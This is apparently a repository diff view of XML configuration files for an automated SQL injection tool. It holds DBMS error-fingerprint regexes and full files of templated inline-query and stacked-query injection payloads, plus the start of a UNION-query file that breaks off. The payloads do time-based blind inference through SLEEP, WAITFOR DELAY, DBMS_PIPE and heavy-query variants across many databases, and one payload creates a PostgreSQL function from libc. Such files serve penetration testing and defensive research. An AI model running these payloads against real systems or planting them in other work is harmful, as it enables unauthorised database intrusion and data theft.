<error regexp="com\.frontbase\.jdbc"/>
<error regexp="Syntax error 1. Missing"/>
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
</dbms>
<dbms value="HSQLDB">
<error regexp="Unexpected end of command in statement \["/>
<error regexp="Unexpected token.*?in statement \["/>
<error regexp="org\.hsqldb\.jdbc"/>
</dbms>
<dbms value="H2">
<error regexp="org\.h2\.jdbc"/>
<error regexp="\[42000-192\]"/>
</dbms>
<dbms value="MonetDB">
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
<error regexp="\[MonetDB\]\[ODBC Driver"/>
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
</dbms>
<dbms value="Apache Derby">
<error regexp="Syntax error: Encountered"/>
<error regexp="org\.apache\.derby"/>
<error regexp="ERROR 42X01"/>
</dbms>
<dbms value="Vertica">
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
<error regexp="/vertica/Parser/scan"/>
<error regexp="com\.vertica\.jdbc"/>
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
<error regexp="com\.vertica\.dsi\.dataengine"/>
</dbms>
<dbms value="Mckoi">
<error regexp="com\.mckoi\.JDBCDriver"/>
<error regexp="com\.mckoi\.database\.jdbc"/>
<error regexp="&lt;REGEX_LITERAL&gt;"/>
</dbms>
<dbms value="Presto">
<error regexp="com\.facebook\.presto\.jdbc"/>
<error regexp="io\.prestosql\.jdbc"/>
<error regexp="com\.simba\.presto\.jdbc"/>
<error regexp="UNION query has different number of fields: \d+, \d+"/>
</dbms>
<dbms value="Altibase">
<error regexp="Altibase\.jdbc\.driver"/>
</dbms>
<dbms value="MimerSQL">
<error regexp="com\.mimer\.jdbc"/>
<error regexp="Syntax error,[^\n]+assumed to mean"/>
</dbms>
<dbms value="CrateDB">
<error regexp="io\.crate\.client\.jdbc"/>
</dbms>
<dbms value="Cache">
<error regexp="encountered after end of query"/>
<error regexp="A comparison operator is required here"/>
</dbms>
<dbms value="Raima Database Manager">
<error regexp="-10048: Syntax error"/>
<error regexp="rdmStmtPrepare\(.+?\) returned"/>
</dbms>
<dbms value="Virtuoso">
<error regexp="SQ074: Line \d+:"/>
<error regexp="SR185: Undefined procedure"/>
<error regexp="SQ200: No table "/>
<error regexp="Virtuoso S0002 Error"/>
<error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
</dbms>
</root>
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+137
View File
@@ -0,0 +1,137 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- Inline queries tests -->
<test>
<title>Generic inline queries</title>
<stype>3</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
<request>
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
</test>
<test>
<title>MySQL inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
<request>
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>PostgreSQL inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT '[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]')</vector>
<request>
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>PostgreSQL</dbms>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
<request>
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Oracle inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
<request>
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>SQLite inline queries</title>
<stype>3</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
<request>
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>SQLite</dbms>
</details>
</test>
<test>
<title>Firebird inline queries</title>
<stype>3</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' FROM RDB$DATABASE</vector>
<request>
<payload>SELECT '[DELIMITER_START]'||(CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' FROM RDB$DATABASE</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Firebird</dbms>
</details>
</test>
<!-- End of inline queries tests -->
</root>
+730
View File
@@ -0,0 +1,730 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- Stacked queries tests -->
<test>
<title>MySQL &gt;= 5.0.12 stacked queries (comment)</title>
<stype>4</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>;SELECT SLEEP([SLEEPTIME])</payload>
<comment>#</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 stacked queries</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
<request>
<payload>;SELECT SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP)</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt; 5.0.12 stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
<request>
<payload>;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
<comment>#</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>MySQL &lt; 5.0.12 stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
<request>
<payload>;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>PostgreSQL &gt; 8.1 stacked queries (comment)</title>
<stype>4</stype>
<level>1</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT PG_SLEEP([SLEEPTIME])</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
<dbms_version>&gt; 8.1</dbms_version>
</details>
</test>
<test>
<title>PostgreSQL &gt; 8.1 stacked queries</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT PG_SLEEP([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
<dbms_version>&gt; 8.1</dbms_version>
</details>
</test>
<test>
<title>PostgreSQL stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>2</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
</details>
</test>
<test>
<title>PostgreSQL stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
</details>
</test>
<test>
<title>PostgreSQL &lt; 8.2 stacked queries (Glibc - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
<request>
<payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
<dbms_version>&lt; 8.2</dbms_version>
<os>Linux</os>
</details>
</test>
<test>
<title>PostgreSQL &lt; 8.2 stacked queries (Glibc)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
<request>
<payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>PostgreSQL</dbms>
<dbms_version>&lt; 8.2</dbms_version>
<os>Linux</os>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (comment)</title>
<stype>4</stype>
<level>1</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
<request>
<payload>;WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)</title>
<stype>4</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
<request>
<payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
<request>
<payload>;WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
<request>
<payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
<stype>4</stype>
<level>1</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector>
<request>
<payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector>
<request>
<payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>2</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector>
<request>
<payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector>
<request>
<payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (DBMS_LOCK.SLEEP - comment)</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</vector>
<request>
<payload>;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (DBMS_LOCK.SLEEP)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</vector>
<request>
<payload>;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (USER_LOCK.SLEEP - comment)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END</vector>
<request>
<payload>;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>Oracle stacked queries (USER_LOCK.SLEEP)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END</vector>
<request>
<payload>;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Oracle</dbms>
</details>
</test>
<test>
<title>IBM DB2 stacked queries (heavy query - comment)</title>
<stype>5</stype>
<level>3</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])</vector>
<request>
<payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 stacked queries (heavy query)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])</vector>
<request>
<payload>;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>SQLite &gt; 2.0 stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SQLite</dbms>
<dbms_version>&gt; 2.0</dbms_version>
</details>
</test>
<test>
<title>SQLite &gt; 2.0 stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
<request>
<payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SQLite</dbms>
<dbms_version>&gt; 2.0</dbms_version>
</details>
</test>
<test>
<title>Firebird stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>4</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector>
<request>
<payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>Firebird</dbms>
<dbms_version>&gt;= 2.0</dbms_version>
</details>
</test>
<test>
<title>Firebird stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector>
<request>
<payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>Firebird</dbms>
<dbms_version>&gt;= 2.0</dbms_version>
</details>
</test>
<test>
<title>SAP MaxDB stacked queries (heavy query - comment)</title>
<stype>5</stype>
<level>4</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3</vector>
<request>
<payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP MaxDB</dbms>
</details>
</test>
<test>
<title>SAP MaxDB stacked queries (heavy query)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3</vector>
<request>
<payload>;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP MaxDB</dbms>
</details>
</test>
<test>
<title>HSQLDB &gt;= 1.7.2 stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>4</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector>
<request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>HSQLDB</dbms>
<dbms_version>&gt;= 1.7.2</dbms_version>
</details>
</test>
<test>
<title>HSQLDB &gt;= 1.7.2 stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector>
<request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>HSQLDB</dbms>
<dbms_version>&gt;= 1.7.2</dbms_version>
</details>
</test>
<test>
<title>HSQLDB &gt;= 2.0 stacked queries (heavy query - comment)</title>
<stype>4</stype>
<level>4</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector>
<request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>HSQLDB</dbms>
<dbms_version>&gt;= 2.0</dbms_version>
</details>
</test>
<test>
<title>HSQLDB &gt;= 2.0 stacked queries (heavy query)</title>
<stype>4</stype>
<level>5</level>
<risk>2</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector>
<request>
<payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>HSQLDB</dbms>
<dbms_version>&gt;= 2.0</dbms_version>
</details>
</test>
<!-- TODO: if possible, add payload for Microsoft Access -->
<!-- End of stacked queries tests -->
</root>
File diff suppressed because it is too large Load Diff
+742
View File
@@ -0,0 +1,742 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- UNION query tests -->
<test>
<title>Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>
<request>
<payload/>
